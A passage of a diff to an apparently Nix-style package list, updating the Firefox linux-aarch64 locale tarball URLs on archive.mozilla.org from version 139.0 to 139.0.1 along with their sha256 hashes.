-      sha256 = "0e69c74a5b53c9deb73455422eebbcb35cad47f5fa379182d6ba42a19629b0e1";
+      sha256 = "6b5dfd36f856d1ddc6bf0a0af30c71f3870dfd8db03ff37e3a1f70894d5ac5db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/gn/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/gn/firefox-139.0.1.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "fbb747f462e11d77bde427af564901e4667d0a7b9b355f2b717092fc1bdbf2f7";
+      sha256 = "a6796aa7b5b46a823c50bce5669189bf00399277388df37eb2c2a29df36c86b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/gu-IN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/gu-IN/firefox-139.0.1.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "adc5aa4a467151a8b0b7607cdd4f6703117f41a42ea129b4989e85b105256ea5";
+      sha256 = "191a2ef396c692cf27c6ee7c5c672eec98a117a33d53b770ac5351e1a8ec438e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/he/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/he/firefox-139.0.1.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "923cea94b7deab925455bd0a560d7488dd061eae0fc536d9a97f6fad6cfc0a37";
+      sha256 = "ec3b32a0311ea6cf0b9da4e0b7d14dce67774589d995e7aca3835d9c3e24add1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hi-IN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hi-IN/firefox-139.0.1.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "84ab46281b99b948c9f08bc6b9ab847d08861b2319e34d10ff457956744adfee";
+      sha256 = "ef2bbded04e5b3b42733f15ca5c2421202ddf94e48ee36eddae8a1493038c295";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hr/firefox-139.0.1.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "efe5970fb389cbbd269d04f5e640b736bd4fc3f6c74339dc37fd53cac216809d";
+      sha256 = "bc87681d0cdc994e510be535214e1bbaf202f02a275313ec9a60348fa9792c53";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hsb/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hsb/firefox-139.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "cc1faaeb5f0d604b093959677c3c8747f633a9072d64463013797133a2fbc985";
+      sha256 = "9ae4b3e4a97ea340f6437c34256570584179fa68a5b0f656250f0af06ee6d40b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hu/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hu/firefox-139.0.1.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "e57a0925ceedbabaefbef1c86e3dde24df6eef672bfb273c6dab01de8341eed7";
+      sha256 = "3624d215ec23105d4bbb983bd0630757417688e9260e63ff0e6f3d12d040c686";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/hy-AM/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hy-AM/firefox-139.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "d33ebf0262496bba4e79b11a31675a3d07de350e358a80b794162d894e5d5827";
+      sha256 = "cb0a376c8d87e465f02bc8a9b395b1224fb0cb11b2f8ebebfcf97e32f1bf09b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ia/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ia/firefox-139.0.1.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "7af0f1dfde0b2eb9459d3ac9f1cf451c64839e8a0833c713500bcb4f316ce0d0";
+      sha256 = "efe2d4ecb334babf3c63a902b6ca160344927fcc6e6aa5eea6b33c7ff0273206";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/id/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/id/firefox-139.0.1.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "2b8d4814c2b863aace687e444afb57e9918f979304248e2abc28b1824b3d38fd";
+      sha256 = "109237a734baad5d45b797a92c61f34c30b5e81f340460b92db1f564bc1e4f71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/is/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/is/firefox-139.0.1.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "bf8fb09c630eff43c77f403e6a60d9ede22aee8ac8c85a2ade7a56a34b7be4c8";
+      sha256 = "76bd307c03e68a05ab686dd83858078f1def8595dcac73eb4f522dc0ff58ccda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/it/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/it/firefox-139.0.1.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "7978f4855fe1fda982c098e7de0b14f5f75dbb1c109b6b14358e4aeb4b8800e1";
+      sha256 = "114438d75d29f45e39e16d9b6e8808952d3cd4678777406fd8981ee70fcc8532";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ja/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ja/firefox-139.0.1.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "1840d1cd38e2864b690ac8a358c7b9dd32d4bf5c0b74d2c8d22c25122b60cd46";
+      sha256 = "9e0d336535866b6ce29fcc134482c880a1f0df3b474f0988504b60ab5dde052b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ka/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ka/firefox-139.0.1.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "dbdd0ce33b6462597e5e5e2e6ec89a058c6f5efdf6e33179d4a03fc65b432c8c";
+      sha256 = "9f686044f1f2c173f83f88f80325d355b7ee9885aa1d8743c286553992e1a7af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/kab/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/kab/firefox-139.0.1.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "bac6a5dd0a8e259a2756958449df5ee17d07ed7ad4f89e5a279ba071e690554e";
+      sha256 = "4f9649531b1836015c9dce5e86f817aa0001f6d691df78cbad9f81edfc386808";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/kk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/kk/firefox-139.0.1.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "29ad437d21914ef87d0d6394cfc212f7cd889ba38c08e3578fa3aa6f6a41ace9";
+      sha256 = "100131428d318c5f8ae7a19881c267575bec9656bc33f9c7417ea1120aee558e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/km/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/km/firefox-139.0.1.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "cc50cf76840e07dccd618d7f9b67a46ab9295d55e20d9c1f2d673fe6c80131e6";
+      sha256 = "b6d9cf24f5f1cc74e2278fc6069d4b9569b042b0b7db7d7ee6935caf9d124805";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/kn/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/kn/firefox-139.0.1.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "c13cf7ce0b1359c0fdd13885f3bf41a9fdde01f8a565aa6e477d094f5d226f81";
+      sha256 = "328c4024b60ff402e8a2e77f6d1724054d43d35cef6e44b19a7cde383a76f966";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ko/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ko/firefox-139.0.1.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "0e7fd0cc4972012321c587044249476adf1e2d28b8124e4e3db7f0ab8f2cfe05";
+      sha256 = "db2aa3ce35f8045153480a3f507d7bc124408aa8a8bf3734e5ad33b7afc5a1c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/lij/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/lij/firefox-139.0.1.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "3667f5b56d763a53b2223a962713628b4ae566cd476cc965795c0309a0091738";
+      sha256 = "41696a7cbe1cbf94c0f33cba8366863aad48b6fe2415bb178f3b01eb9eac8394";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/lt/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/lt/firefox-139.0.1.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "c2a63b27d8110b970c9d009e7b42651580122bdd4824b1d5057143402f52907e";
+      sha256 = "ea3c0ef8b19a850497e2c5d41ee94f09c508c3f4eb4755d068b00ddaeb368368";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/lv/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/lv/firefox-139.0.1.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "3ac5a4a02d5eb87042ad6d583d3789fb50d5ecc88e57d158ef6ca3314ba5051b";
+      sha256 = "13335c41ea5a46ac4667244ba050f9cf0d057cfc6ea31dba2b9310b5a5a6788e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/mk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/mk/firefox-139.0.1.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "032dcc7795e07b3a2f1426d380464bda749adadb9eec1bab93675051bb0acbdb";
+      sha256 = "13e8b822b64c3b963e02c230ba0a8085dcab4b5dbd264e857cb7b4ab95205223";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/mr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/mr/firefox-139.0.1.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "5814e633c4eb787d4aa7c482d4e7946d087c240746abb4c5afb65cfa258846c0";
+      sha256 = "c2343b4852519d34d31d883b4f57c4afb464cc345381fa06b8e2f7fb26de1912";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ms/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ms/firefox-139.0.1.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "44f21e35684d1c0863526b5e77df67ff2949566c97b1abda64a9a38abce01dc5";
+      sha256 = "79654737a2a69aed9fe520b7768e403ff4bfe0efa1e362dba7531720245388aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/my/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/my/firefox-139.0.1.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "b82533e4435662079703eb472ccaa3d0ac6512e35f03efb1048cde5bc9ca7ed5";
+      sha256 = "bb1d2b4fc6c4f2bbdc14b37a1b7e92a730bd17355b724f5edd5f977afa7ac061";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/nb-NO/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/nb-NO/firefox-139.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "a0042565267bd7afbb9ea51dac8c56a1fe391faabcdd634f729d676006869910";
+      sha256 = "b5d2bc8f1c431b08774e2852c0b1228ec448b2107ce5c85bb4abcd20a25778d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ne-NP/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ne-NP/firefox-139.0.1.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "b8e89c35f97d0c10bd9207b774454177a6e103fc88e0962fcafabe47654e5a7a";
+      sha256 = "45760e6e2bba448ac04b63a73e2f492e1dc5f6a7d22a1dfe8d9ffc6e8794549a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/nl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/nl/firefox-139.0.1.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "9252125e5ef11a0115c5e6c608ad82f4eef60633b4adbc783ad0cdb9b59b9920";
+      sha256 = "83a7f0c060f1842e608f95f18a6d7ca2b951212f98b965acb9724d7dd3c21330";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/nn-NO/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/nn-NO/firefox-139.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "8a00da9c6fe1f57ef9d6bee2849f85a1ff2a1649e8f5b321d8c99222ce20aca1";
+      sha256 = "1146bfa012bc1188c73cf80d04ea7702283e0b2064da99f5cd4dc901e5b7eac7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/oc/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/oc/firefox-139.0.1.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "b0ba8c1a18ed33eab972222fb6448064d2e1319b9c1f0fe50df9b488e3a21405";
+      sha256 = "ac0ee08ce254108259c16639dc42fe55571ef801d4968b7fea9c7e5c719f0b2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/pa-IN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/pa-IN/firefox-139.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "4f5344e069d4adf6cbd77ddce9e5a5bf78ed53f2a840ea2d3e777892a8dcd90a";
+      sha256 = "3f0028e6ee7952504544772b47d9e2058298df8fc89cbf4cb7aa6c11cd56be75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/pl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/pl/firefox-139.0.1.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "6b0327fa92fb4527856e8e5056632dc8b5017d8e7171648bb0b333a952a29057";
+      sha256 = "da7fb11ea9d808f1b7458f21302d25cfbb3e86cf9c4bf71808db121af291741b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/pt-BR/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/pt-BR/firefox-139.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "031807bbcc5c2a1d562724dea27dbad17aa0c2147f023886ec71a6c87950c5fb";
+      sha256 = "bf21f9fb4ac6f5db2e934b82024e1c4a92336e05390e715c545cf7345d2dbb38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/pt-PT/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/pt-PT/firefox-139.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "361b17fa3126b538306275e3d5db4960f39b03b14d5523bc5f2e94b4499338a6";
+      sha256 = "8799b56f3fad06219f7f08f6e3ddd0ae058fc036d8fb17694eb1bd5d467e6448";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/rm/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/rm/firefox-139.0.1.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "44fd5cb9c28e1f9b47a53f93a48cc0cbf7170f1bc7ed6df0a525dacce21d2359";
+      sha256 = "927c857492f76a969c753d588e5338cb9fcfebfd2615e2699b49be30267badd4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ro/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ro/firefox-139.0.1.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "7f6ddb020d87e822c77bbb05032fa91e06d3bd1e498ec85ca0ac1a85f05c5230";
+      sha256 = "e43c59838c3a6bce58b586459c9d0189b9ae277f06010e8b8f0a2b145bfc082c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ru/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ru/firefox-139.0.1.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "245f4fc3e84275f860067c38812988b50cb23532b363b3b1d7e29ec5eafe47e7";
+      sha256 = "f2e51d2d2298b40d9c356829ca93c16b36c5d283a1dbc6fa84ddf73eeedb4b12";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sat/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sat/firefox-139.0.1.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "fa5eab80ee9ebe49c1bad208251559c3177b96e27f7423cf6d5aa4a4fa15c833";
+      sha256 = "5c30ce8c52d0633fc68ca8bf1fcc77d5cbc1bcb7099ac68fdd08d790c5ec043c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sc/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sc/firefox-139.0.1.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "7804b0b4dab0968c7cd718ebda9b4330ba4e962bb98e33859ef7ddeb0129a219";
+      sha256 = "4d3fe5784f37c5078f1bc97962c6cea471e392af9cc3cadc541cd1da722b1241";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sco/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sco/firefox-139.0.1.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "213dd83bcbd93e4b7d81c954fd8593af7a375b545b33301fa68ff25413fb896a";
+      sha256 = "4e3435921feefca8d8c4a5fb688834db410f53f1398e6acc1aba3b37765d04aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/si/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/si/firefox-139.0.1.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "0b19480a1b87ee3826923b2f5efb1db1c0bfd934c3c7b8a0c3609ac4787c015f";
+      sha256 = "2566371bbe8cca6e49bfea9efbb7eff26f8130e38823291c27f63bc25562fb53";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sk/firefox-139.0.1.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "af68908ce81f1d6731ed534ea1784de1027186263dea8c6af440397a723a7369";
+      sha256 = "30008c0962d8aeaed71a282638fe23e0f803e5baab96bd5ede8da76a9c55dd30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/skr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/skr/firefox-139.0.1.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "81c29aaf0c119301d63b33e85576db660f42bc700ba10c844d9000595c1300ff";
+      sha256 = "8e3671992eb4e94bf51fc61b4e667e44de403b17250695be9f60da035f4c6dca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sl/firefox-139.0.1.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "8966075d8d55201a2fd4f928e91585c47263472fd1fa4bc70ec272fbb0e65035";
+      sha256 = "36d2779bb1c11444a6e8ebd915e055bd5e3620cf93dc851bdce11cf8e9ba354f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/son/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/son/firefox-139.0.1.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "7d4bbcd59a7a8f6d4a9cd85675892b576e89fc99216bac4b1a98b928839cd84c";
+      sha256 = "cab84e27c93fd7c8f214356c3d41f9173e7a522debd3d3967a8123f06b616359";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sq/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sq/firefox-139.0.1.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "0805ea05e33aa3c01549bca1b0397cae3517744d82ffa6ae17f3707165e69dd7";
+      sha256 = "45db9a5c58face8f082de103b5ccb310c57692b0c25132ac0b22207168cf6b2f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sr/firefox-139.0.1.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "e6ab3c4571f8893ad91b5bd7fbf011bc00be7a10c326214c795ebcef8dfd35f6";
+      sha256 = "b505448b343b4282e7fb2dbbf727b787e1d960c5fad198f9136718353ac03adc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sv-SE/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sv-SE/firefox-139.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "c02a1c78d3614d25414f5994369adaba10f458842c602db683bc143f99a11411";
+      sha256 = "43c4aea298be5c63b90386d9c8fc440dee49f712419abdbda891c6fa5c46e38e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/szl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/szl/firefox-139.0.1.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "a74fb56af8d736a7a6b389d3ca4c216bbc6c6524b6a10b8d18b525044300bf97";
+      sha256 = "8d1436b0675229daf2341c2f2ef1bc2982187bd0a6d6e48de3eb7a8d9637261a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ta/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ta/firefox-139.0.1.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "9eac04fe94386ac4d74f62fe53f857b18041ce51ac31081a50610fc64f827093";
+      sha256 = "53e96d8a92f19b1515623ef9c57e328271e8b35ed0d5edefdc6a8efc1e4602a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/te/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/te/firefox-139.0.1.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "fe24906668acbb6aacedcc3897fd3575fae9903d94fc89ea1cecfbdde1236f6c";
+      sha256 = "4f0be6446aca61f98bde48e94393515f957d57988c86dd7493a2f0f5b21b8ee8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/tg/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/tg/firefox-139.0.1.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "a5c33f74b40f337dee9aaf993151dd57c8a63eab73e555ad79733baf86a1d1c7";
+      sha256 = "470a17f31f4bc5df6bd02ec210fd6bb3f69eb4cd4c84aee65b2a46e7d5676238";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/th/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/th/firefox-139.0.1.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "cb2d32ca4d730349b39d41c9b4f38cd6c99998f1a14f8eb96fd0fefdcd2cf47c";
+      sha256 = "19dee19c2daaac94a451ccb00b5026cba7513c255a7428443d53d054ca3f7cf1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/tl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/tl/firefox-139.0.1.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "9e16fed4c1609325834c82e1f8db882fe234cced384baaaf7722b87671d19388";
+      sha256 = "a72c025dbe24d4a5c6ad30c9c471a9f10920ab99744e33f5d74e0cebdb6b7d0e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/tr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/tr/firefox-139.0.1.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "c29e52a35d014c23318290e01cf441750cdff11b31c6f350a3f4294fded7adbf";
+      sha256 = "7f1f9634fc5914287088c1e496f30923a33fdb282a1d7acfb8fc5e16abf987d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/trs/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/trs/firefox-139.0.1.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "8aef1a5c4d726a49b7b301e1f0d19a9a751979838f6a722d0dc28a995340e8d1";
+      sha256 = "cf57e807833781e5730187c95e8cb70793ba8e9fa1304684c6ecab1b517e8cce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/uk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/uk/firefox-139.0.1.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "4d4c5206faf932386c1f83c3dc1517b850bb8b8146666fef383cae5467546a2a";
+      sha256 = "caedd3dba7d404b1ea6f99deeb2c130163de956612a35c24cebe20ec8e10d343";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ur/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ur/firefox-139.0.1.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
